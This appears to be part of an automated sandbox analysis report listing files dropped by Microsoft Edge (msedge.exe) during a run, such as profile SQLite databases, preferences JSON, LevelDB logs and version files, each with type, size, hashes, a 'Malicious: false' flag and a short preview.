Encrypted:	false
SSDEEP:	384:L/2qOB1nxCkMcSA1LyKOMq+8iP5GDHP/0jMVum8:Kq+n0Jc91LyKOMq+8iP5GLP/0Z
MD5:	BF99A581B7EA7E356473321D79257373
SHA1:	FD46EC07B2C3D9D7505F65FA527A9C408BEA80CB
SHA-256:	E21650E72F3FF277BBC2B2B24E718146CBE112F9B1A60E0456C541ABA4349DD0
SHA-512:	EEEC8379B33A65E080B284D392EAE250F2AA25DFFB97CBA0630ADC3E2301E5BAAC5B82D575683FC22136B290022C5724313879BF618F7BE475821A1212AC1B8B
Malicious:	false
Preview:	SQLite format 3......@ .......[...........7......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\WebStorage\QuotaManager

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 10, cookie 0x7, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.4666154489529113
Encrypted:	false
SSDEEP:	48:Tnj7dojKsKmjKZKAsjZNOjAhts3N8g1j3UcB0MB:v7doKsKuKZKlZNmu46yjx0C
MD5:	09BF6BF19D3167EA3AD213B456235E06
SHA1:	3AC25BB6F806B17AD76177C491F624CA8440EC58
SHA-256:	B1726B83177679395B2959C7075948A7B980C6C951473469D892B1E696796153
SHA-512:	A77E95C448F800B3811954CD234E5710547E44F830AB05183E31EF1889C1B34EFC80FA99D0A0411C9FD7EE448C856FA677DFE6010E6FF1A44A1E49DAAB2DCDD1
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.......w..g...........M...w..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\arbitration_service_config.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (3951), with CRLF line terminators
Category:	dropped
Size (bytes):	11755
Entropy (8bit):	5.190465908239046
Encrypted:	false
SSDEEP:	192:hH4vrmqRBB4W4PoiUDNaxvR5FCHFcoaSbqGEDI:hH4vrmUB6W4jR3GaSbqGEDI
MD5:	07301A857C41B5854E6F84CA00B81EA0
SHA1:	7441FC1018508FF4F3DBAA139A21634C08ED979C
SHA-256:	2343C541E095E1D5F202E8D2A0807113E69E1969AF8E15E3644C51DB0BF33FBF
SHA-512:	00ADE38E9D2F07C64648202F1D5F18A2DFB2781C0517EAEBCD567D8A77DBB7CB40A58B7C7D4EC03336A63A20D2E11DD64448F020C6FF72F06CA870AA2B4765E0
Malicious:	false
Preview:	{.. "DefaultCohort": {.. "21f3388b-c2a5-4791-8f6e-a4cad6d17f4f.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.BingHomePage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Covid.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Finance.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Jobs.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.KnowledgeCard.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Local.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.NTP3PCLICK.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.NotifySearchPage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Recipe.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.SearchPage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Sports.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Travel.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Weather.Bubble": 1,.. "2cb2db96-3bd0-403e-abe2-9269b3761041.Bubble": 1,.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\b28145d7-d90e-4aad-8f8b-daac5dd4a1d3.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	25012
Entropy (8bit):	5.568106251373201
Encrypted:	false
SSDEEP:	768:B9w+KlWzvW5wYOf4Yj8F1+UoAYDCx9Tuqh0VfUC9xbog/OVPuWIBuQUrwXjpatuj:Ba1lavWaYOfpju1jarFTNAtE
MD5:	55F0DE89AEE0C0FC82E672A9CEEB00B1
SHA1:	5584907502C76D18A6B165951D9576FCB5C552DA
SHA-256:	ED1B8F209D8A4E59FB0CAD40308939E46D88CB710C8EFE3BC2F1C275FA9AD832
SHA-512:	7B740B5E5402E87A66043BD6CD9DE20EA1AAB00355553FA86AAA084B4EB08AF5327883FA59E69E6C72DA141E2D1D51D4DD6A3FA6E500365B746D7EF470A9B96A
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13377277050383918","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13377277050383918","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\d98031af-13d0-4e5d-9148-5d1ffc677ad5.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (17635), with no line terminators
Category:	dropped
Size (bytes):	17637
Entropy (8bit):	5.487286456736801
Encrypted:	false
SSDEEP:	384:stfPGQSu4Ns0aCDVARk0vl46pbGDQwM3f:sVOXuyaCmlbG8xf
MD5:	916BBD6561930D7370E8A33C2459FDFF
SHA1:	56FEC819AB442CF9E105A6A2BEC4066975CE8114
SHA-256:	FF95FAB9467D3AB42D0D76E6602E2FB64C3B2C3742D4AED2E92F7BC2EC2F29F4
SHA-512:	816FDD3DE18BFE01E02D292BCA81FE703CACC248FA373421522623EED9D6D0B72B666615AE09A998D4F57A09401A2BDE86EC5B0F424697C0897914D57D24B545
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13377277051010869","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\databases\Databases.db

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 7, cookie 0x4, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	0.3410017321959524
Encrypted:	false
SSDEEP:	12:TLiqi/nGb0EiDFIlTSFbyrKZb9YwFOqAyl+FxOUwa5qgufTJpbZ75fOSG:TLiMNiD+lZk/Fj+6UwccNp15fBG
MD5:	98643AF1CA5C0FE03CE8C687189CE56B
SHA1:	ECADBA79A364D72354C658FD6EA3D5CF938F686B
SHA-256:	4DC3BF7A36AB5DA80C0995FAF61ED0F96C4DE572F2D6FF9F120F9BC44B69E444
SHA-512:	68B69FCE8EF5AB1DDA2994BA4DB111136BD441BC3EFC0251F57DC20A3095B8420669E646E2347EAB7BAF30CACA4BCF74BD88E049378D8DE57DE72E4B8A5FF74B
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g.....P....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\ddcb71b9-b3e2-48e5-b1c9-8e77bd20b3ed.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9860
Entropy (8bit):	5.105866971258301
Encrypted:	false
SSDEEP:	192:stfkdpNs0aaFvrE9k7T4Oeb85BbV+FHjQAPUJPoYJ:stfQNs0aCDRk6bGDQtf
MD5:	C9311605EA1562C91AE4AAAC9AE287C4
SHA1:	B300EF8D361A02C2792E6E14189347AFE149FC73
SHA-256:	54CA80370A3697C5BB8E847680726861A1B8E9451B93D6019B9CACAEDF805910
SHA-512:	0F7F97FDC18C5D3F84A21304FF4047ED0A071323943975DB664518E3EB1DE0BC656E5EB24E115522CBB94A34E93A4E7534A6F5BAF8B56463FF56CA18B48A463B
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13377277051010869","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1,"datatype_details_migration_performed":true},"co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\e4943560-771e-48b0-8b0b-e45af5d1f116.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40504
Entropy (8bit):	5.5614640586298565
Encrypted:	false
SSDEEP:	768:B9J+YlWLK7pLGLPNvW5wYOf4lj8F1+UoAYDCx9Tuqh0VfUC9xbog/OVPQUdWIBu3:BPDl0icPNvWaYOfqju1jalUdFoNaKzX7
MD5:	8FC87D8FD09DCA90FC88A86EFFD5BBBE
SHA1:	4A799E7C336B5B1713F76F639FDC1062F34A0CB2
SHA-256:	195866A21D5BE7EE37F283AA8B69317F9FC61F70A302ECEDD775B96AA5E15213
SHA-512:	DFA59FBA153E3F80098834A7EB36C335E5151A844B8082393716A0AE7AE55B03953D376A114D59D94E53BA7D2D47A8A887A4A4D345F3B0AFC74CA1FF77769B76
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13377277050383918","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13377277050383918","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\e7f2ca1d-373d-4fc2-bbd2-331bac7b03d5.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (17287), with no line terminators
Category:	dropped
Size (bytes):	17289
Entropy (8bit):	5.492333350161693
Encrypted:	false
SSDEEP:	192:stfJ99QTryDiuabatSuypNs0aaFvrEgAK9k7T4eRRIKnl4F0MNBb85BbV+FHjQw4:stfPGQSu4Ns0aCDVARk0vl46XbGDQw8f
MD5:	8145FA42357E1455CAE85E3F0193785D
SHA1:	8D665F98F05DEAAD3BFA20E84D2852F88EFDE5CB
SHA-256:	62EBFA7A44AA2B2AAF3B1FFAD5F948F38B097C099333BFCFD41A672D3D475BC0
SHA-512:	4C38D6F273791B44D8B853D87816345EE1AA57052F2AFF26B20A7DCCC598A3B6B6C0B1392657B29414FCEA5DFCAF365AE6FB9B5D402894C98A8761F9EC45D941
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13377277051010869","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\load_statistics.db-shm

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.10286162277366881
Encrypted:	false
SSDEEP:	12:+rl3mspEjVl/PnnnnnnnnnnnvoQ8UQo8ppI:+R7oPnnnnnnnnnnnv93B
MD5:	1E50682534D8A1D6BAEAB23117A80D80
SHA1:	F334ACC738B9F8332365DC142598A858551F131B
SHA-256:	97CEEA8DCEAB0BEE8230FF055C4324BBB05FAD904E15DC9A4EB917418FFFB2BE
SHA-512:	608902B20A15C1486037FFACB8A65A8B765AE4379626B1DE6FFAFE9A132C16B64B2D47375C45C274C0CE05138B73C98DC5C35D1C2BCDF24D13A199CFA5AD6C4C
Malicious:	false
Preview:	..-.............M........v...0..$J...V..\r....>m..-.............M........v...0..$J...V..\r....>m........I...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\load_statistics.db-wal

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite Write-Ahead Log, version 3007000
Category:	dropped
Size (bytes):	317272
Entropy (8bit):	0.8844962727604279
Encrypted:	false
SSDEEP:	384:J/E4sq217sppPgsq5KQ4FpAmBjumaktHiG814Fov8Wy6yTd:qWQniWOj26R3
MD5:	0C26810AB1AB5BD11F553698F3E4BC73
SHA1:	0276D3355AEECE595466477F05FF39DA2C36F2B4
SHA-256:	F6CBF752AA142D8F07BBD8B3C0243926A50F4D3FA695B4669F8B993614081FFE
SHA-512:	07AAB37EE588A1D317A0B27B80C78AB9C5BFF2739091587FC576554FAB03E2B432EA8E5960ADC3FA7A60EBBB0039A3C2D338D2DBBA800A589BDBEC9D0961963F
Malicious:	false
Preview:	7....-..........$J...V....M7'.z.........$J...V..h.IR..4.SQLite format 3......@ ..........................................................................j.............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	694
Entropy (8bit):	3.5612497672779657
Encrypted:	false
SSDEEP:	12:p9lc8QyOuuuuuuuuuuuuuuuuuuuuYZllpIi8P:pHayXlqP
MD5:	9F63E2BE9F90B102FCF155333FFE0505
SHA1:	89875CB82D51F507A3C5F1CE15E6EFE6602DDE6C
SHA-256:	AFD4FB3E8F662B51D822BB48702B68B4B167A18E764A8B4262747E8F7B4FAAE5
SHA-512:	2DDEDE69483C52985C5863ED55A773B63FB49E35C555EA88B14BEBB7551A1A6FAFCD450060D88EAACFEA8969ABEB25C83D8E98BFFC3764507B3E9C42D0327CA9
Malicious:	false
Preview:	A..r.................20_1_1...1.,U.................20_1_1...1..$.0................39_config..........6.....n ...1u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............*...;...............#38_h.......6.Z..W.F.....Y.......Y............V.e................V.e................V.e................&@..0................39_config..........6.....n ....1

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.1807026377393885
Encrypted:	false
SSDEEP:	6:HH5AVq2PN723oH+TcwtfrK+IFUt8YH2pAgZmw+YHnAIkwON723oH+TcwtfrUeLJ:avVaYeb23FUt8xD/+G5OaYeb3J
MD5:	CBB3B3A084F0082AE69AC3F7E44896C8
SHA1:	469437C02FEE557F162E1DCD68422D1E88E827C9
SHA-256:	A536D5ED8548837B43F760DE7DB4A57CD6D581A20792D163627B372ECC7C2940
SHA-512:	1CDAF04EA80813DF50109485B0F20EC14CD37F7322A14086D80B2852EEE72579EE6CF51A3EB600F2B6CB71E09439EC812E0A76A646018DDEF2F33678E2ACCEC9
Malicious:	false
Preview:	2024/11/28-09:17:31.027 1dd0 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/MANIFEST-000001.2024/11/28-09:17:31.028 1dd0 Recovering log #3.2024/11/28-09:17:31.029 1dd0 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.1807026377393885
Encrypted:	false
SSDEEP:	6:HH5AVq2PN723oH+TcwtfrK+IFUt8YH2pAgZmw+YHnAIkwON723oH+TcwtfrUeLJ:avVaYeb23FUt8xD/+G5OaYeb3J
MD5:	CBB3B3A084F0082AE69AC3F7E44896C8
SHA1:	469437C02FEE557F162E1DCD68422D1E88E827C9
SHA-256:	A536D5ED8548837B43F760DE7DB4A57CD6D581A20792D163627B372ECC7C2940
SHA-512:	1CDAF04EA80813DF50109485B0F20EC14CD37F7322A14086D80B2852EEE72579EE6CF51A3EB600F2B6CB71E09439EC812E0A76A646018DDEF2F33678E2ACCEC9
Malicious:	false
Preview:	2024/11/28-09:17:31.027 1dd0 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/MANIFEST-000001.2024/11/28-09:17:31.028 1dd0 Recovering log #3.2024/11/28-09:17:31.029 1dd0 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	816
Entropy (8bit):	4.0647916882227655
Encrypted:	false
SSDEEP:	12:G0nYUtTNop//z32m5t/yVf9HqlIZfkBA//DtKhKg+rOyBrgxvB1ySxs:G0nYUtypD32m3yWlIZMBA5NgKIvB8Sxs
MD5:	3BE72D8D40752B3A97028FDB2931FABA
SHA1:	A27EA4726857A948F0A4B074062B674469A9A371
SHA-256:	3C18553C8C3F7E801855F3579AC57F3C156D783BBA27FB35C6D2FB6CB89BD902
SHA-512:	8EBD4D6980BB7796615217E72BC65953C920B68B9259341CD52858C1E889EC90339E2A304FE0C971D6C6EF9AFC4A00CFB3E5CC89C7B2DF8737A0C7EC241BDADC
Malicious:	false
Preview:	.h.6.................__global... .t...................__global... .9..b.................33_..........................33_........v.................21_.....vuNX.................21_.....<...................20_.....X...................20_.....W.J+.................19_......qY.................18_.....'}2..................37_.......c..................38_......i...................39_.....Owa..................20_.....4.9..................20_.....B.I..................19_..........................18_.....2.1..................37_..........................38_......=.%.................39_.....p.j..................9_.....JJ...................9_.....\|.&R.................__global... ./....................__global... ..T...................__global... ...G..................__global... ......................__global... .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	346
Entropy (8bit):	5.1584469592927995
Encrypted:	false
SSDEEP:	6:HHsfAVq2PN723oH+TcwtfrzAdIFUt8YH1AgZmw+YHVAIkwON723oH+TcwtfrzILJ:NvVaYeb9FUt8s/+Y5OaYeb2J
MD5:	E840D315AA0FABBC7CCF82B34D7315B3
SHA1:	C8381B816F39C4932BBE9DC63FA88FFAF9F9EE6A
SHA-256:	30D595AE879CD1281787B328BA4E1714D5239FEF410D51D51BEA221DD8185011
SHA-512:	FD6A713B1C302809FC8AC1E12E0A839BE2A3DAE580459D6B2730E5C2ACB52369FF96980C2C0408EA32683571FD08B84C736CCCB18385052952E08608D2D5459C
Malicious:	false
Preview:	2024/11/28-09:17:31.008 1dd0 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/MANIFEST-000001.2024/11/28-09:17:31.009 1dd0 Recovering log #3.2024/11/28-09:17:31.023 1dd0 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	346
Entropy (8bit):	5.1584469592927995
Encrypted:	false
SSDEEP:	6:HHsfAVq2PN723oH+TcwtfrzAdIFUt8YH1AgZmw+YHVAIkwON723oH+TcwtfrzILJ:NvVaYeb9FUt8s/+Y5OaYeb2J
MD5:	E840D315AA0FABBC7CCF82B34D7315B3
SHA1:	C8381B816F39C4932BBE9DC63FA88FFAF9F9EE6A
SHA-256:	30D595AE879CD1281787B328BA4E1714D5239FEF410D51D51BEA221DD8185011
SHA-512:	FD6A713B1C302809FC8AC1E12E0A839BE2A3DAE580459D6B2730E5C2ACB52369FF96980C2C0408EA32683571FD08B84C736CCCB18385052952E08608D2D5459C
Malicious:	false
Preview:	2024/11/28-09:17:31.008 1dd0 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/MANIFEST-000001.2024/11/28-09:17:31.009 1dd0 Recovering log #3.2024/11/28-09:17:31.023 1dd0 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Last Browser

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	120
Entropy (8bit):	3.32524464792714
Encrypted:	false
SSDEEP:	3:tbloIlrJFlXnpQoWcNylRjlgbYnPdJiG6R7lZAUAl:tbdlrYoWcV0n1IGi7kBl
MD5:	A397E5983D4A1619E36143B4D804B870
SHA1:	AA135A8CC2469CFD1EF2D7955F027D95BE5DFBD4
SHA-256:	9C70F766D3B84FC2BB298EFA37CC9191F28BEC336329CC11468CFADBC3B137F4
SHA-512:	4159EA654152D2810C95648694DD71957C84EA825FCCA87B36F7E3282A72B30EF741805C610C5FA847CA186E34BDE9C289AAA7B6931C5B257F1D11255CD2A816
Malicious:	false
Preview:	C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s. .(.x.8.6.).\.M.i.c.r.o.s.o.f.t.\.E.d.g.e.\.A.p.p.l.i.c.a.t.i.o.n.\.m.s.e.d.g.e...e.x.e.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Last Version

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	13
Entropy (8bit):	2.6612262562697895
Encrypted:	false
SSDEEP:	3:NYLFRQZ:ap2Z
MD5:	B64BD80D877645C2DD14265B1A856F8A
SHA1:	F7379E1A6F8CE062E891C56736C789C7EA77CD6A
SHA-256:	83476CEEEB7682F41030664B4E17305986878D14E82D0C277FB99EC546B44569
SHA-512:	734A7316A269C76DD052D980CC0D5209C0BFEDFFC55B11C58FA25C433CE8A42536827298C3E58CACD68CC01593C23D39350E956E8DE2268D8D29918E1F0667F2
Malicious:	false
Preview:	117.0.2045.55

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089799505648206
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWrdi1zNtPMgkzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynRvkzItSmd6qE7lFoC
MD5:	1915CA5471EB8C25B221F58CC215414D
SHA1:	DE474B5DE1352F2A873995128C31704FD49B7281
SHA-256:	1DA59F3D6C10270BAB492B17D9871D69FEBC4104A32A3B5A94CE96F08E667C90
SHA-512:	11B7B1143111F1D480BEBAB8A11634834C52A4C103A7D7AE9EC3E66C971AB94603D0449844FD197CE53F504FCB2C24E59CB2064058551C630F1EFB80D335188C
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF3a79b.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089799505648206
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWrdi1zNtPMgkzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynRvkzItSmd6qE7lFoC
MD5:	1915CA5471EB8C25B221F58CC215414D
SHA1:	DE474B5DE1352F2A873995128C31704FD49B7281
SHA-256:	1DA59F3D6C10270BAB492B17D9871D69FEBC4104A32A3B5A94CE96F08E667C90
SHA-512:	11B7B1143111F1D480BEBAB8A11634834C52A4C103A7D7AE9EC3E66C971AB94603D0449844FD197CE53F504FCB2C24E59CB2064058551C630F1EFB80D335188C
Malicious:	false
